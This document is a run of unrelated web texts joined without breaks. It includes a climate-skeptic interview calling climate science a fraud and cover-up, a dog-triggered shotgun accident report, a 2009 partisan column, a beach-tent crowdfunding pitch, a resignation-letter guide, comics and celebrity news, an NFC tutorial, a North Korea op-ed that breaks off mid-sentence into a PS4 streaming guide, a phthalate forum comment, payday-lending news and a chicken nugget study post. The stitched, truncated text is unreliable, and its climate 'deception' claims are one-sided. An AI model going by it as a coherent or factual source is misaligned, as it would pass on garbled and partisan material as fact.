But far from deflating the climate-change movement, Ball said revelations like the ones from Homewood will only intensify efforts to enact sweeping policy changes in the U.S. and beyond.
“Look for a cover-up because there’s huge volumes of money involved,” he said. “There are political implications with this [and] with Obama with climate change as the key thing. Now they’ve got the pope involved in it. So there will be a scramble to counteract this. I mean a real vigorous scramble.”
So how will climate-change activists fight back against these revelations? Ball expects the same tactics he’s witnessed through the decades in this debate.
“They tell lies,” he said. “They come out and say severe weather has increased when it hasn’t. They say that the temperature is continuing to increase when it hasn’t. They just tell lies about it, and that’s what’s going on. Of course, as everybody knows, it’s not the original crime that gets you in trouble. It’s the cover-up.”
“Once the cover-up is exposed, you’re done,” Ball said.
At the end of his column in Saturday’s Telegraph, Booker says, “This really does begin to look like one of the greatest scientific scandals of all time.”
Ball agrees.
“I do think this is the greatest deception in history, as I say in my book. There have been scandals in history, but they’ve been regional or they’ve only impacted certain areas. This whole climate thing has had a global impact on energy and government policies around the world,” he said. “So it really is the biggest deception in history. There’s so much money and so many political careers riding on this that it’s going to be a battle royale.”
Top meteorologist exposes carbon fraud – $4.95 today only!A Lebanon, New Hampshire, man is OK after he was shot in the back by a hunting dog in Iowa.At 1:20 p.m. on Wednesday, conservation officers for the Iowa Department of Natural Resources responded to a report of an injured hunter. William Rancourt, 36, of Lebanon, was pheasant hunting on the Boone River Greenbelt Conservation Board Public Hunting Area with three other hunters when he was hit in the back by birdshot pellets from another hunter's 12-gauge shotgun.The shotgun was lying on the ground when a hunting dog stepped on the trigger guard causing it to discharge, hitting Rancourt in the back from nearly 22 yards away. Rancourt was transported to a hospital with non-life-threatening injuries.
A Lebanon, New Hampshire, man is OK after he was shot in the back by a hunting dog in Iowa.
At 1:20 p.m. on Wednesday, conservation officers for the Iowa Department of Natural Resources responded to a report of an injured hunter.
Advertisement
William Rancourt, 36, of Lebanon, was pheasant hunting on the Boone River Greenbelt Conservation Board Public Hunting Area with three other hunters when he was hit in the back by birdshot pellets from another hunter's 12-gauge shotgun.
The shotgun was lying on the ground when a hunting dog stepped on the trigger guard causing it to discharge, hitting Rancourt in the back from nearly 22 yards away. Rancourt was transported to a hospital with non-life-threatening injuries.
AlertMeWith the GOP Cast Out Into the Political Wilderness, the Right-Wing 'Culture Warriors' Launch New Scare Campaigns Over Gun Control, Same-Gender Marriage and the Rights of Children -- But This Time, They're Being Dismissed as Being Out of Touch With Most Americans More Concerned About the Economy and Health Care
The sorry state of the nation's -- and the world's -- economy remains the number-one topic of concern among the vast majority of Americans. But you wouldn't know it if you paid attention only to the rumblings coming from the far right end of the political spectrum. While most Americans are concerned about keeping their jobs, making ends meet and maintaining health care they can afford, those on the Far Right are sounding increasingly loud alarms about an alleged loss of freedom to own firearms and about a so-called "redefinition" of marriage to include same-gender couples. Now the Right is targeting a new bogeyman: An international treaty on the rights of children. They're pushing to counter the treaty with a constitutional amendment "asserting the rights of parents." (Image courtesy HuffingtonPost.com)
(Posted 5:00 a.m. EDT Monday, April 13, 2009)
By SKEETER SANDERS
President Obama's job-approval ratings remain steady at 62 percent, according to the latest Gallup Poll. His just-concluded first trip abroad was a hit, both abroad and at home. Americans, while still concerned over the state of the economy, are starting to show a greater optimism about it.
Meanwhile, Republicans -- who strongly object to the president's policies -- are finding themselves increasingly isolated politically, as they've failed so far to come up with any serious alternative proposals beyond the tried-and-true (and resoundingly discredited) nostrums of the Reagan Revolution.
But rather than focus attention on the number-one issue on the minds of most Americans, the Republicans, urged on by their hard-line social-conservative base, are pushing for a constitutional amendment that would negate an international treaty on the rights of children -- a treaty that the Senate has yet to ratify.
And that's not all. Social conservatives are again raising hell about gun control, abortion and same-gender marriage -- in essence, attempting to re-ignite the culture wars.
The problem for the social conservatives this time, however, is that 1) the economy is trumping everything, and 2) their staunchest allies in the Republican Party are not only out of power, but many are out of office altogether.
CULTURE WARS 'AN IRRELEVANT DISTRACTION,' MCCAIN ADVISER SAYS
“I think most people want relief from the divisive debates of the culture wars,” said Mark McKinnon, a former adviser to Senator John McCain’s presidential campaign and a Republican consultant told Politico.com. “Given the economic hardships most are facing, they probably view these arguments as old, irrelevant and a distraction. That said, I’m sure the cultural warriors are putting on their war paint and banging the tom-toms.”
Indeed, social conservatives, with their insistence on focusing on hot-button issues such as same-gender marriage, gun control, abortion and illegal immigration, are running a serious risk of being branded irrelevant and out of touch at a time when most Americans are more concerned about keeping their jobs, paying their mortgages, being able to afford to retire and having health insurance.
That the economy remains the number-one issue for most Americans is underscored by the latest Gallup Poll, which shows that while optimism about the economy remains scarce -- only 27 percent of Americans say the economy is getting better and 67 percent say it is getting worse -- that optimism is has begun to grow after 15 months of steady decline.
Americans' overall satisfaction with the way things are going in the country remains decidedly negative, but has slowly and steadily improved in recent weeks, Gallup reported last week. Twenty-six percent of Americans polled between March 30 and April 5 said they were satisfied, up from 15 percent in mid-February.
The rebound in satisfaction has mainly been the result of greater optimism among Democrats, according to Gallup. Now, 40 percent of Democrats are satisfied, up from 21 percent in mid-February. There has been a smaller increase among independents over this time, from 14 percent to 23 percent. Even Republicans' reported satisfaction has improved somewhat, though it is still quite low at 13 percent, after bottoming out at seven percent in mid-February.
SOCIAL CONSERVATIVES ATTACK U.N. TREATY ON CHILDREN'S RIGHTS
But while most Americans are focused on the economy, social conservatives are zeroing in on a United Nations treaty on the rights of the child that they see as a threat to parental authority and are pushing for a constitutional amendment to block it.
Representative Pete Hoekstra (R-Michigan) last week introduced in the House a constitutional amendment to permanently “enshrine” in American society an "inviolable" set of parents’ rights. The proposed "Parental Rights Amendment" has 70 co-sponsors -- all of them Republicans -- but has little chance of winning the necessary two-thirds majority for passage.
The 1989 treaty, officially known as the U.N. Convention on the Rights of the Child, has never been taken up by the Senate for ratification, even though it was signed by President Bill Clinton in 1995. It sets international standards for government obligations to children in areas that range from protection from physical, mental or sexual abuse and exploitation to ensuring a child’s right to freedom of expression.
The treaty gained attention following horror stories out of Somalia of children as young as nine being forced to fight for the Lord's Resistance Army in that war-torn country. The United States is the only U.N.-member country other than Somalia that has not ratified the treaty.
Yet it has drawn fierce opposition from Michael Farris, founder of the Home School Legal Defense Association. Farris says that the treaty would usurp parental authority. “Parents would no longer be able to administer reasonable spankings to their children," he told Politico.com. “A child’s ‘right to be heard’ would allow him [or her] to seek governmental review of every parental decision with which the child disagreed."
But Farris, a self-declared Christian conservative, may have revealed the real reason for his opposition to the treaty: Religion -- more specifically, the religious upbringing of children. In a posting to his Web site, ParentalRights.org, Farris wrote of the treaty: “Children would have the legal right to choose their own religion while parents would only have the authority to give their children advice about religion.”
Farris apparently wants the Parental Rights Amendment passed to enable parents to force their children to adhere to the parents' religious beliefs. Never mind the fact that children already have the freedom to choose their religion -- or to choose no religion at all -- under the First Amendment.
OTHER SOCIAL CONSERVATIVES ON WARPATH OVER SAME-GENDER MARRIAGE
Meanwhile, another social conservative group found itself the target of ridicule in Vermont after it launched a campaign-style ad blitz in a failed effort to derail a bill in the state legislature to legalize same-gender marriage.
The National Organization for Marriage bombarded Vermonters with a last-minute radio ad that claimed that opponents of same-gender marriage are now being victimized for their beliefs.
"There's a storm gathering," one woman says as the spot opens. Says another woman: "I am afraid." Later in the spot, a man says same-sex marriage advocates "want to bring the issue into my life." He is followed by a woman who says "my freedom will be taken away."
Another woman says same-sex marriage advocates "want to change the way I live." A teenage girl intones, "I will have no choice."
The ad was immediately ridiculed, even by Vermonters opposed to the same-gender marriage bill before the legislature. NOM, based in California, had made a serious tactical blunder: It did not count on Vermonters' prickly reputation for resenting outside interference in local and state affairs.
In the end, the group's strategy backfired: Governor Jim Douglas' veto of the measure was overridden within 24 hours, with several lawmakers who initially voted against the measure reversing themselves and voting in favor of the override.
“Obviously they [NOM] understand that appealing to people’s fears is a way to gin up money and rally the base,” said Joe Solmonese, president of the Human Rights Campaign, a gay rights advocacy group. “When we get to a tipping point, that’s when our opposition is most vociferous.”
The social conservatives' ire isn't limited to same-gender marriage itself. Representative Mike Pence (R-Indiana), chairman of the House Republican Conference, lobbied against the appointment by President Obama of Harry Knox, an executive of the Human Rights Campaign, to the president’s Advisory Council on Faith-Based and Neighborhood Partnerships.
Pence claimed that the appointment of Knox, who is gay, to a presidential commission “makes a mockery out of the religious beliefs of countless Americans.” Pence's lobbying, however, went nowhere.
ONE AREA WHERE DEMS ARE SKITTISH: GUN CONTROL
About the only hot-button social issue where Democrats appear unwilling to make any bold moves is gun control, in part due to a U.S. Supreme Court ruling last year that struck down Washington D.C.'s handgun ban and in part because many moderate Democrats in Congress represent districts where gun ownership rights are a major issue.
The mass shootings in Binghamton, New York and Carthage, North Carolina, combined with the fatal shootings of police officers in Pittsburgh have sparked new debate on gun control, but Democrats appear unwilling to take on the National Rifle Association.
When pressed on the issue during an interview broadcast last Wednesday on "The CBS Evening News with Katie Couric," Attorney General Eric Holder appeared uncomfortable discussing it. Holder, who had been a strong supporter of gun control legislation for years, denied that he had been told not to speak about it. “No one's told me to back off,” Holder told Couric. “I understand the Second Amendment. I respect the Second Amendment.”
But sooner or later, the administration will have to take a stand, one way or the other -- especially if the number of deadly shootings increases later this spring and into the hot summer months.
# # #
Volume IV, Number 29
Copyright 2009, Skeeter Sanders. All rights reserved.^ Share us on Facebook to help spread the Word!
EARLY BIRDS AVAILABLE FOR JUST $49!! ---->
The Story-
It all started with the Bedouin tents many years ago. These tents were designed to be quickly put up and taken apart while providing shelter and protection from the environments. The Neso Sunshade continues the evolution of these tents.
I personally got too much sun when I was younger. I paid for it as an adult when I was diagnosed with early stage melanoma. I am fine now, but it scared me and changed my outlook.
A friend of mine came to me with this concept and I immediately jumped on it. I could understand the need for the product - As a new father I want to make sure my daughter has plenty of shelter while playing at the beach. Beach umbrellas are difficult to install, don't handle the wind well and provide only a little shade. The pop-up tents need more than one person to put up and are fairly heavy.
As an engineer turned into business person, I have been looking for a new product that would mean a lot to me while having a large market potential. This just made perfect sense to explore further. Fast forward and here we are!!
Reinforced seams for durability
Problem It Solves-
The Neso tent is lightweight, easy to carry, easy to setup, provides plenty of sunshade for multiple people, and looks really cool. Compare that to the alternatives.
Not a very nice view...
Wind? No problem!
Bulky and Heavy!
How Does It Work?
Color choices for CUSTOM Neso tent ($125 pledge)
Design-
Here's an early sketch including ideas for our logo, product name, and how the product would work.
Searching for a business name was quite exciting. Me and my business partner met while living on Neptune Ave in Encinitas, which is a beautiful road along the ridge overlooking several neighborhood beaches. Being beachy, moons are quite important to tides. Neso, also known as Neso XIII, is the farthest, most recently discovered moon off Neptune. Neso felt right as a name and we love it.
Here's an early notepad when we were deciding where to source the product. We originally wanted to have the source in the US and assemble the product locally. I went to the LA Fashion district quite a few times, found a pole manufacturer in Washington State, cut & sew and assemblers in Los Angeles and near the border in National City. The quality was great, but the price was through the roof.
No matter what changes we made to the location, we needed to make sure the quality didn't change.
We tried Mexico as an alternative, but there were holes in the communication and I don't think they were going to end up being a good business partner. The benefits would be great with NAFTA, but there were too many problems to overcome.
Since then we have found a great manufacturer overseas. We have gone through a few rounds of samples, and get more and more impressed each time.
Final renderings of poles
Final Renderings of the bag
Final renderings of the canopy
How and where will you be making your project?
If we reach our funding goal, we will be able to use the funds to meet the minimum order quantity that our manufacturer requires. We have established a fantastic relationship with a manufacturer overseas that has exceeded our expectations with the quality of the prototypes they have provided. We are excited about the opportunity to work with them and provide our initial supporters a high quality, affordable product.
How will you fulfill the orders if you are successfully funded?
We have established a relationship with a fulfillment center that is currently working with several other crowd funded projects. They have a lot of experience and will be able to handle all of our orders in a timely fashion.
Project Timeline
3/12 Launch Kickstarter
3/13-4/28 Communicate well and keep our backers informed
5/1 Place the order with our manufacturer
6/5 Receive shipment
6/10 Fulfillment complete!Pin 3 13 Shares
“I quit.” Seems easy, right? Like everything else in this world, not so much.
You could send that very-on-the-nose note to announce your departure, but it’s really poor form. If you’re ready to move on to a new position, or you just can’t deal with your job any longer, there’s a process to sending a good and proper resignation letter. No matter how POed you are on your way out the door, you’ll be thankful later that you took the time to send a well-crafted, anger-neutral letter or email to your (soon to be former) boss.
Why Send a Letter?
Different offices have many different ways to reach someone: interoffice chat, phone, email, meetings, coffee machine ambush, etc. So why go the official resignation letter route? It leaves a paper trail, in case there’s any question later about timing, or your intent to leave. You can tell people you’re leaving through any channel, but you should always tell your boss first, and make sure that you follow up with an official letter. That way, he or she can forward it as necessary, and HR will have an official document and be able to start any necessary exit processes.
When to Send the Letter
The timing on the letter varies according to a few different factors. First, always check your company’s HR policies. When you started, you may have signed something agreeing to give a particular amount of notice. Two weeks (10 business days) is an informal standard, but definitely double-check to make sure that this is a courtesy and not a legal requirement. If your start date at your new place is in two weeks and your current company requires three weeks’ notice, then things could get sticky. If you kept your onboarding documents at your current job, you can check those. Otherwise, a discreet email to HR should be able to resolve the question for you, without advertising to everyone that you’re on your way out the door.
When It’s Okay to Leak
If you have a good relationship with your boss, you should also plan to give him or her an unofficial heads-up before you send the official resignation note. Getting a formal announcement out of nowhere can feel like blindsiding, especially if you have a good working relationship.
Employees in the United States change their job once every three years on average
So you might want to precede the whole process with a quick face-to-face meeting (as private as you can get it), and let your manager know that you’re leaving for a new job, or just leaving. You’re not obligated to go into great detail, about what your next steps are after you leave, but given that this person will likely be responsible for handling your duties in the interim and for initiating a search for You 2.0, a heads-up will likely be appreciated. It’s a professional, respectful way to set the tone for your leaving.
If you are genuinely worried about your manager having a bad reaction to the news, you can skip this step and go straight to the letter, or go through your HR department. Otherwise, most professional people accept this as a fact of life in the workplace, and will accept your resignation with the same level of graciousness that you put into it.
Once you’ve sorted out the amount of notice you’ll be giving and have given your manager the courtesy heads-up, it’s time to hand over the letter.
How to Send the Letter
If your company is one that handles everything via email, you can probably get away with emailing your resignation to your boss (after the face-to-face meeting). As a rule, though, it’s best to go the analog route and have a printed, signed version. If possible, have it printed, signed, and ready to go for your meeting with your boss. There’s no need to send it through the mail, or recruit a singing telegram-ist to deliver the letter. If you don’t have it ready for your face-to-face meeting, make sure to hand it to your boss shortly afterward—you don’t want there to be any conflict over the amount of official notice you’re giving.
What to Write
The content of a resignation letter is pretty straightforward. There’s no need to write a novel, with plotlines or long, tear-stained devotional passages about how you haven’t slept since you decided it was time to part ways with the company. The letter should have just the most straightforward information, with a little of your own voice thrown in:
Greeting (addressed to your boss) I resign. My last day in the office will be… I appreciate the opportunities I’ve had in this role… I will be available to help with any transition duties, or training a replacement staff member. Thanks!
Pretty simple. It’s not the place to weigh in on your replacement, or ask if you’ll get paid for unused vacation days. The purpose of the resignation letter is just to get it in writing that you are leaving in X amount of time.
For a quick overview on how to handle the resignation process, Howdini has a great video:
What NOT to Write (Or, Don’t Burn Bridges)
The resignation letter is also definitely not the time for axe-grinding. (That’s more of a venting-to-friends activity, not to be committed to paper.) If your boss is a jerk, or you can’t work for the company for X, Y, Z reasons, it doesn’t matter here. If you can’t quite manage a friendly tone, go for a civil one. And if you can’t find anything good to say about your time there, dig deep and…fib a little, if you need to.
You may be about to blow this popsicle stand, but keep in mind that you’re probably not quitting to go live in a wifi-less cabin somewhere. You’ll be moving on to other jobs, possibly even in the same industry. And people talk, especially when there’s good gossip. You want to be known as a consummate professional, especially as you’re gearing up to start somewhere new. The last thing you want is for your new boss to catch wind of a tantrum thrown on your way out of your last job. So even if the circumstances of your leaving are less than ideal, shake off the anger/annoyance/temptation and be gracious in your parting letter. If you really need to get some residual anger out of your system, funnel it all into an “I quit” movie marathon.
Never forget that this letter will be part of the official record in your company. It will be seen by your boss, yes, but also HR and goodness knows who else. Please apply the same policy you should apply to all workplace communications: don’t write anything you wouldn’t want to be posted for the entire company to see.
The Sample Letter
Hey Michael,
I quit. I have a better job offer, and honestly can’t stand the idiots in this office any longer.
Bye,
Dwight
Umm, no. Not only is this the wrong tone and unnecessarily antagonistic, it leaves out important information like an end date, and basic niceties like a “thank you.” Let’s try that again.
Yo Michael, The time has come to say goodbye…
So yeah, this is an official note to say I quit…
It is with a heavy heart and a veil of tears that I announce I will be resigning…
Dear Michael,
Please accept this note as a formal notification that I am resigning my position as Assistant (to the) Regional Manager to pursue other opportunities. My last day will be March 18, 2024.
I really appreciate the opportunities I’ve had here these past 12 years, and hope you know how much I’ve learned and grown in my role. I’ve learned an incredible amount about how to market and sell paper, both from our colleagues here and our clients.
Over the next two weeks, I’d like to work with you on any necessary training or transition duties as I wrap up my time here.
I know the company will continue to have great success, and am so thankful to have been a part of it for so long. Please don’t hesitate to let me know if you have any questions, or if there’s anything you’d like to discuss about my departure.
Best wishes,
Dwight
Much better! Resignation letters are hard because you’re writing an official document, so it may sound a little stiff or formal by default. Definitely err on the side of formality, because again—you never know who will be seeing this once you release it at work. It’s okay to make it sound like your regular voice, but just make sure you’re not going too informal, and that you’re hitting all the necessary elements (gracious tone, end date, availability to help with the transition up until that date).
So while it might be tempting to create a stir on your way out (possibly involving Kanye West), you will never go wrong with a thoughtful, clear, and definitive resignation letter. It may be tempting to dismiss your current job as old news, or use this as a chance to burn someone or the company on the way out, but if you resist that urge, you’ll be the better for it later on. Viral social media stardom is fleeting, but your reputation is forever.
Pin 3 13 Shares Pin 3 13 Shares
Pin 3 13 SharesThis November, DC Comics will release the first installment of a two-part Batman story from Enrico Marini. The fact that it’s two graphic novels instead of a multi-part miniseries is a nice break from the norm, allowing for more longform storytelling. Whether this is part of an approach that DC will be taking for other stories is speculation at best, but what’s certain is this looks to be a completely unique Batman tale.
Advertisement
Per DC:
You think you know Gotham and its most famous resident. You may even think you know his adversaries and allies. Well, this fall, forget all that you know as we present a new vision of Gotham, care of master comic book creator Enrico Marini.
Marini is well known within the European comic book market, and is acclaimed for his flamboyant art style and cinematic approach to storytelling. His work includes the best-selling French-language comics Le Scorpion, Eagles of Rome and Gipsy. However, we haven’t seen him tackle a mainstream super hero like the Dark Knight prior to now.
BATMAN: THE DARK PRINCE CHARMING is a two-volume graphic novel series that finds Batman once again facing off against the Joker. Only this time, the stakes are personal…
Acclaimed European comics master Enrico Marini makes his American comics debut with an original, two-part graphic novel starring the Dark Knight! What secret connection do both Batman and The Joker share with a strange and mysterious young girl? After she’s kidnapped by The Joker, Batman must plunge deep into the underworld of Gotham City and race against time to find out where she’s being held. The stakes are high, and for Batman, it’s personal!
How does it look? In a word—gorgeous.
Book one of Batman: The Dark Prince Charming will be in stores on November 1, 2017. Look for book two coming in spring 2018!If democratic presidential candidate Hillary Clinton had any say in who played her in a movie, she knows exactly who she would pick. So, who is Hillary's Choice?
None other than 19-time Oscar nominee Meryl Streep!
During a hot seat round of questioning on Live with Kelly and Michael, Kelly Ripa and Michael Strahan posed a series of personal questions to the new grandmother—one of them being who she would elect to portray her in a film about her life.
"Well, Meryl Streep, of course," she answered with little hesitation. It's a perfect choice, considering it would be fitting to have one of Hollywood's greatest players portray an equally iconic political force.
In addition to the revelation, Clinton shared a number of other personal details, including the fact that chocolate is her guilty pleasure and singing "badly, but enthusiastically" is her hidden talent.
When you're resume is as packed as Clinton's is, you're not required to sing on key.If you’ve purchased an Android phone within the last year and a half, the chances are pretty high that your phone came with an underused piece of technology called near field communication (NFC). Until the payment gateway companies and the carriers can figure out how to get along, it’s going to be a little while before the dominant purpose for NFC chips in our phones are for secure payments. Before we are paying all our bills with our phones, there are still many uses for NFC, you just need to know how to unlock its potential.
If you’re trying to figure out how to use NFC, you’ve come to the right place. This article will walk through how NFC is used on Android phones, how you can write your own NFC tags for use with any device (smartphone or otherwise), and explain just what NFC can be used for today. NFC is simpler than you think, you just have to know the basic information about how it works.
Reading information stored on NFC
NFC tags are paper thin, and are only designed to store just bytes of information. Even some of the largest NFC tags, such as those embedded into business cards, are capable of storing 4096 bytes of information — in other words, not much more than a few lines of text. Because our smartphones are constantly connected to the internet, it is common practice for embedded NFC tags to simply have a link to a website for the rest of the information the sender wants to give you. Aside from of business cards, you’ll see NFC tags embedded in posters with links to things like movie trailers or song downloads. The transfer of information is nearly instant, making it so you only have to hold your phone in place for a moment.
Wondering how to actually use NFC? All you need to do is touch your phone to the tag. You’ll then hear a notification tone or feel a vibration as soon as the NFC tag is activated. Your phone generates a faint electrical field that provides just enough power to the NFC tag at a range of 100mm or less, depending on the manufacturer of the tag. If you have an Android phone, the software required to read a tag is already installed and running.
Once the information is scraped from the tag, your phone will prompt you to see what you want to do with the information. If it is a link to a website or a link to an app on your phone, you’ll be prompted to run your browser or the required app. If an app is required that you do not have, you will be prompted to install it.
You can choose to continue or stop the process all together at this point. Until you run the program that handles the information, anything you grab from an NFC tag is stored temporarily. If you choose to do nothing with the information you grabbed from the tag, it is deleted automatically.
Transfer information from phone to phone with Android Beam
Your phone can also act like an NFC tag in a way, transferring information from one smartphone to another. Google built this functionality into Android to allow for everything from photos, documents, playlists, and apps to be transferred just by touching two phones together. The process is similar to the Bluetooth “bump” that became popular with the release of the iPhone, but is a much faster transfer method.
In order to use Beam as the sender, make sure you have the information you want to transfer on your screen. To start a Beam, press the back of two phones together and wait for the activation tone to start. The information on your screen will start to zoom out in a Beam animation, followed by a text prompt to start the transfer. Tap the center of the information you want to send, and continue to hold the two phones together until the recipient has the information on their screen.
Using Android Beam is simple as long as you are using it for short bursts of information. Like the NFC tags, Beam is designed for small pieces of data. If you are trying to transfer more than a link or contact information, your Android phones will create a point-to-point WiFi connection and transfer the information that way. As a user, you won’t have to do anything more than continue to hold the phones together for a little longer than usual. Once the photo has started transferring, you can separate the phones, but not for more than a few feet until the transfer is complete.
Next page: How to use NFC tags that you make…Loading... Loading...
The geopolitics, psychology and economics of the North Korean crisis, the Afghan war and the final gambit
If bombs start falling in North Korea, and if Kim Jong-Un is foolish enough to retaliate, it won’t be hard to convince the American public that war was unavoidable, and that the president should be given broad leeway to do “what needs to be done”. After all Kim Jong Un is crazy. He’s an evil buffoon with delusions of grandeur (he’s not about to be out-done by Mr. Trump).
Mr. Trump has threatened preemptive strikes if North Korea tests a weapon and now he’s warning that a “major, major conflict” is on the table. Considering the fact that this comes right after Trump just bombed the Syrian government, effectively strengthening ISIS (while simultaneously reducing strikes against ISIS dramatically), and has hamstrung efforts to initiate an impartial investigation, one would be advised to take the official account of what goes wrong, when this goes wrong, with a grain of salt.
In Geopolitics, and especially when dealing with countries that you are technically still at war with, credible threats, combined with shows of force are irresponsible provocations, that can easily spin out of control.
Both sides are off the rails, which isn’t all that surprising if you really think about it. Kim Jong-Un and Donald J. Trump are operating at roughly the same intellectual and emotional maturity level. Their psychology is remarkably similar.
They’re both thin skinned, manicured, bullies, who mask |
that you did the configuration change above, you should be able to start streaming movies from your computer to your PS4. If using Plex in the browser: Press square on your PS4 remote for fullscreen, and enjoy your movies!
With my mid-range laptop computer, I am able to stream 1080p movies to my PS4 without any lag, so I believe this solution will work fine for most people.
Tip: A LAN connection on both your PC and your PS4 will give much better results than Wifi for streaming movies!
There’s more!
Want more tips? Check our Ultimate guide to watch movies on PS4!
Netflix outside of the US?
You like to use your PS4 as a media device? Check out how you can use Netflix on your PS4 outside of the US on our sister site makesmarttv.net. This trick also lets you switch to another Netflix country, to get even more movies!A) I LOVE the concept, and nifty Making
skills. I've been skiing for 40+ years; old-skool was "Bota Bags", the
'hip-flask of skiers' if I can coin a phrase.
B) Saw the comments
below on safety of the vinyl -- funny timing, as I was just commenting
on another Inst'ble about using "vinyl" (=PVC) gutters for hydroponic
gardening, which I think is just fine. But: I'm gonna have to disagree, here.
I won't/can't say this is 'unsafe' -- but it concerns me, and I wouldn't do it.(Just FYI, I have a patent in hydrocarbon chemistry and some relevant knowledge.)
Here's the point: phthalates are used as plasticizers in PVCs to make
them flexible. This vinyl is clearly (ahem) quite flexible. And while polar solvents (i.e. water) don't tend to leach
phthalates (which are not bound, that's important) from PVC --
apparently alcohols are more efficient at that. Link to actual science
journal article below. I have no axe to grind (or commercial/employment
interest) about phthalates, but they are possibly linked to estrogen-like effects in mammals, which is why we don't use BPA in baby bottles any more, for example.
And
which makes the name "Gentleman's (Ski) Poles" somewhat amusing,
potentially. Or potently. Or not-potently.... >;-) There's just way
too much meat in there - oh, dang, there I go again - to chuckle about.
-------------------------
I think it'd just be far easier and possibly significantly
safer to just plug the bottom of a ski pole so that the libation won't
leak out, and use the crafty shampoo-bottle-thread solution from this
Inst'ble at the top. Ski poles are aluminum and, well, I'm pretty sure
beer cans are too, so probably safe enough, after a few good rinses just for fun. I'd imagine that pouring in
some food-grade silicone rubber would work just fine - better yet, just
pull off the ski-pole tip and squeeze in a bunch of clear silicone
sealant from the bottom; let it cure for a long time, more rinses. Added bonus: more
volume. :-)
--------------------------
P. Chatonnet, S. Boutou, A. Plana. Contamination of wines and spirits by phthalates: types of contaminants present, contamination sources and means of prevention. Food Additives & Contaminants: Part A, 2014; 1 DOI: 10.1080/19440049.2014.941947Payday lenders and check cashers blanketed Capitol Hill last week to challenge the scope of the financial reforms under debate in Congress and combat the industry's reputation as the pariahs of the financial system.
During the "Hill Blitz" organized by the Financial Service Centers of America, a trade group, about 40 industry executives pushed to exempt check cashing from the purview of a proposed bureau that would oversee consumer financial products. Meanwhile, Democrats launched a new effort to contain the industry by limiting the number of payday loans that consumers can take out.
"There is a sense of urgency to get something done," said Eric Norrington, head of government affairs for Ace Cash Express. "We're sort of asking the question: Why are we even a part of this?"
That has become a common refrain in recent months as Congress considers the most extensive overhaul of the country's financial system in at least a decade. Though the bill, now under debate in the Senate, was crafted in response to the collapse of big banks, the wide-ranging reforms it would implement could touch a much wider array of businesses.
The bill is particularly significant for payday lenders and check cashers because it could bring the bulk of their operations under the eye of a federal watchdog for the first time. According to a study by the Federal Deposit Insurance Corp. released in December, about a quarter of American households have little or no access to banks or other traditional financial services; many rely instead on payday lenders and check cashers.
But in back-to-back meetings with dozens of members of Congress last week, industry executives argued that their sector is already regulated by a complex web of legislation in the states, including some that ban payday lending. A federal regulator would create another layer of work that would increase their costs and potentially put some providers out of business, they said. In addition, they are often the only alternative for consumers who cannot qualify for -- and sometimes do not want -- a bank account or credit card.
"You have to make the effort to do it," Aggie Clark, president of Seattle-based Moneytree, said of her packed day of meetings with lawmakers. Otherwise, she said, "you can get some pretty bad sound bites."
FiSCA pointed to potential carve-outs for community banks and auto dealers as support for its request. The group equated check cashing with buying merchandise from a store: Customers do not have standing accounts, and the transaction is over once they leave the store.
But Jean Ann Fox, director of financial services at the advocacy group Consumer Federation of America, said it was unclear how regulators would distinguish between services at stores that offer both check cashing and payday lending.
"There's no reason to carve out subsets of activities by the same type of companies," she said.
FiSCA also held a "mini-blitz" on the issue in January -- the first time it has held two in one year -- dispatching about 20 executives across the Hill. Its sister trade group representing only payday lenders, the Community Financial Services Association, has recruited customers to write letters to Congress and increased its spending on lobbying to $2.6 million last year, up 75 percent from 2008.
But a spokesman for the Treasury Department said the Obama administration opposes excluding any firms that provide financial services from the legislation.
"The consumer financial protection bureau needs to be able to require companies to provide clear, understandable information so that Americans can make financial decisions that work best for them," the Treasury Department said in a statement.
The industry also faces a renewed fight on payday lending. Consumer groups have long criticized the practice for charging triple-digit interest rates and accused lenders of preying on low-income customers. The nonprofit Center for Responsible Lending worked with North Carolina Sen. Kay Hagan (D) to introduce an amendment to the financial reform bill last week that would limit the number of payday loans consumers can take out to six per year and require lenders to give customers more time to repay the loan if needed. In addition, the amendment would give the Federal Reserve the authority to license payday lenders.
"The time is ripe," said Hagan, who worked to ban payday lending in North Carolina. "I want to make sure short-term loans remain short-term loans."
The measure is one of a slew of amendments submitted to the financial reform bill. Sen. Christopher J. Dodd (D-Conn.), author of the proposal, has supported restricting payday lenders, but multiple efforts to target the industry through federal legislation have fallen flat. The most recent bill, introduced in the House last year, died in committee.
"The true impact of additional regulation... will be to reduce or eliminate consumer choice and access to financial services," FiSCA wrote in a letter to Dodd this month.Looking for news you can trust?
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Marketing isn’t about giving people what they want; it’s about convincing people to want what you’ve got—that is, what you can buy cheap, spiff up, and sell at a profit. Take the chicken nugget, that staple of fast-food outlets and school lunches.
The implicit marketing pitch goes something like this: “You like fried chicken, right? How about some bite-sized fried chicken chunks, without the messy bones?” When most people think of eating chicken, they think of, say, biting into a drumstick. What they get when they do so is a mouthful of muscle—popularly known as meat.
What people are actually getting from chicken nuggets is a bit different, according to a new study by University of Mississippi medical researchers. (Abstract here; I have access to the full paper but can’t upload it for copyright reasons.) They bought an order of chicken nuggets from two (unnamed) fast-food chains, plucked a nugget from each, broke them down, and analyzed them in a lab.
One of them contained just 40 percent muscle. The rest? “[G]enerous quantities of fat and other tissue, including connective tissue and bone spicules.” Mmmm, chicken bones.
The other sample had a whopping 50 percent muscle. The remainder consisted “primarily of fat, with some blood vessels and nerve present,” as well as epithelium, the stuff that glands are made of.
Now why would national fast-food chains be mixing bone and fat and whatnot into the chicken meat they grind into nuggets? I doubt anyone ever woke up and thought, “I’m craving some mechanically formed orbs of chicken parts, including meat, but also with plenty of fat, connective tissue, glands, and bone.” Offal is a lot cheaper than meat—the more you can work in, the more profit you can eke out of this popular menu item. Granted, people should eat more offal, as I’ve argued before. But (a) they have a right to know when they’re eating it; (b) one reason people eat chicken meat is because they think it’s lean—cutting it with chicken fat turns such eaters into suckers; and (c) bone matter, really? Bones are great when they’re gently boiled into highly nutritious broths and stocks. That seems like a much more reasonable use for them than hiding them in chicken nuggets.
I like the way the research team, doctors at the University of Mississippi Medical Center in Jackson, described the impetus for their study:
Mississippi leads the nation’s epidemic of obesity, and Jackson, Mississippi, the state capitol, is the epicenter. The metropolitan area, which has just over a half million citizens, boasts 50 different companies offering varying numbers of fast food outlets. Restaurant food restrictions are prohibited by state law. Because chicken nuggets are a favorite of children, and the obesity epidemic now extends to them as well, we thought knowing a bit more about the content of the contemporary chicken nugget could be important.
